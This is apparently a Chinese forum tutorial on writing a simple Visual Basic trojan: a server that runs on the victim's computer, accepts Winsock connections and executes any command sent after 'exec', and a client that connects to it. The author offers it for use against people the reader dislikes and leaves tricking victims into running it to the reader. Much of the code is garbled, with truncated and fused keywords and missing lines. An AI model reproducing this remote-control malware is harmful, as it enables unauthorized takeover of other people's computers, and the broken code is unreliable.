今天我为大家讲如何用vb编写“木马“程序
木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(t),服务器程序是给
攻击对象用的,千万不可用错了----给自己种马的人......^0^
客户程序才是给自己用的,于是我们就用vb建立两个程序,一个为服务器端程序cockhorseserver,另一个为
客户端程序cockhorset.
先在cockhorset程序中建立一个窗体,加载一个insock控件,称为tcpt,再加上两个文本框,用来
输入服务器的ip地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.
代码我写下:
privatesubmand1_click
调用ect方法,初始化连接.
=
=val()这是端口号,默认为100和指定的ip相对的计算机相连接
=false
endsub
(在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.
privatesubtcpt_dataarrival(byvalbytestotallong)
dimstrdatastrinstrdata
strdata=“testect“the=“ectok“+vbneline+localip“:“+-+“putername:“+
=+vbneline+“remoteis:“+-+“putername:“+
instr(trim(strdata),“closeok?“)>0the
end
endi=+vbneline++“:“+strdata
endsub
endsub
这是这一段代码
cockhorset程序的核心部分就是这些,下面我讲cockhorseserver程序
cockhorseserver程序也是先建立一个窗体,也要加载一个insock控件,(方便一些,我在同一个工程下建立这
个窗体).如果当cockhorset程序运行时,cockhorset程序就会对cockhorseserver发出连接请求,
为了完成这个连接任务,可以用erequest事件来完成,然后就是具体的错误情况的表达.
代码我打出来:
ihen
intmax=intmax+1
loadtcpserver(intmax)
tcpserver(intmax).localport=0
tcpserver(intmax).acceptrequestid
dditem(tcpserver(intmax).remotehostip)
xt=“填上你的恨的人的ip吧!“
tcpserver(intmax).nddata“testect“
end
呵呵.刚才忘记定义名称了
它的效果是:在cockhorset程序被按下的时候,cockhorseserver程序的erequest事件被触发,
从而执行上面的程序,产生连接.
现在的cockhorseserver程序只能做链接,还不能处理cockhorset程序所发出的指令,我们还必需用
dataarrival事件.
代码是这样的:
privatesubtcpserver_dataarrival(ieger,byvalbytestotallong)
dimstrdatastring
dimcheck_blong
erroerr_pro
tcpserver(index).getdatastrdata
check_blong=instr(trim(strdata),“exec“)
check_blong>0then
strdata=trim(strdata)
strdata=right((strdata)-4)
=+vbnelicpserver(index).remotehostip+““+“要求执行下面的程序：“+strdata
shell(strdata)
else
check_blong=instr(trim(strdata),“closeok“)
check_blong>0then
tcpserver(index).close
(index-1)
=+vbnelicpserver(index).remotehostip+““+“已经断开！“
els=tcpserver(index).remotehosti=+vbnelicpserver(index).remotehostip+““+strdata
end
endsub
end
err_pro:
err=53then
msgbox“所执行的程序的路径有错误!“,+tcpserver(index).remotehostip+“该程序在执行时被拒绝!“
tcpserver(index).nddata““
end
resume
endsub
这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让mm运行你编写的木马服务端程序,那就是你的自己的事情啦!
好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰vb了.呵呵
</p>